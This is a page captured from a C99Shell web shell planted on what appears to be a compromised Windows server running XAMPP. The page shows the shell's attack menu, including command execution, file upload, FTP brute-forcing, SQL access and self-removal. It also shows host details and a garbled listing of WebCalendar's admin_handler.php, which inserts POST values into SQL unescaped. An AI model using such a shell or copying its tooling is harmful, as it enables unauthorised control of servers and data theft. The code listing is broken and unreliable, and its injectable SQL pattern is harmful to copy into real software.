!C99Shell v. 1.0 pre-release build #13!

Software: Apache. PHP/5.5.15 

uname -a: Windows NT SVR-DMZ 6.1 build 7600 (Windows Server 2008 R2 Enterprise Edition) i586 

SYSTEM 

Safe-mode: OFF (not secure)

C:\Intranet\C\xampp\htdocs\php\OAB\WebCalendar-1.0.2\   drwxrwxrwx
Free 4.09 GB of 39.52 GB (10.36%)
Detected drives: [ a ] [ c ] [ d ] [ e ] [ f ]
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Feedback    Self remove    Logout    


Viewing file:     admin_handler.php (1.61 KB)      -rw-rw-rw-
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php
/* $Id: admin_handler.php,v 1.7.4.3 2005/11/29 15:28:25 cknudsen Exp $ */
include_once 'includes/init.php';

$error "";

if ( ! 
$is_admin ) {
  
$error translate("You are not authorized");
}

if ( 
$error == "" ) {
  while ( list ( 
$key$value ) = each $HTTP_POST_VARS ) ) {
    
$setting substr $key);
    
// validate key name.  should start with "admin_" and not include
    // any unusual characters that might cause SQL injection
    
if ( ! preg_match '/admin_[A-Za-z0-9_]+$/'$key ) ) {
      
die_miserable_death 'Invalid admin setting name "' .
        
$key '"' );
    }
    if ( 
strlen $setting ) > ) {
      
$sql "DELETE FROM webcal_config WHERE cal_setting = '$setting'";
      if ( ! 
dbi_query $sql ) ) {
        
$error translate("Error") . ": " dbi_error () .
          
"<br /><br /><span style=\"font-weight:bold;\">SQL:</span> $sql";
        break;
      }
      if ( 
strlen $value ) > ) {
        
$sql "INSERT INTO webcal_config " .
          
"( cal_setting, cal_value ) VALUES " .
          
"( '$setting', '$value' )";
        if ( ! 
dbi_query $sql ) ) {
          
$error translate("Error") . ": " dbi_error () .
            
"<br /><br /><span style=\"font-weight:bold;\">SQL:</span> $sql";
          break;
        }
      }
    }
  }
}

if ( empty ( 
$error ) ) {
  if ( empty ( 
$ovrd ) )
    
do_redirect "admin.php" );
  else
    
do_redirect "admin.php?ovrd=$ovrd);
}

print_header();
?>

<h2><?php etranslate("Error")?></h2>

<?php etranslate("The following error occurred")?>:
<blockquote>
<?php echo $error?>
</blockquote>

<?php print_trailer(); ?>

</body>
</html>

:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ ok ]

:: Make Dir ::
 
[ ok ]
:: Make File ::
 
[ ok ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v. 1.0 pre-release build #13 powered by Captain Crunch Security Team | http://ccteam.ru | Generation time: 0.0312 ]--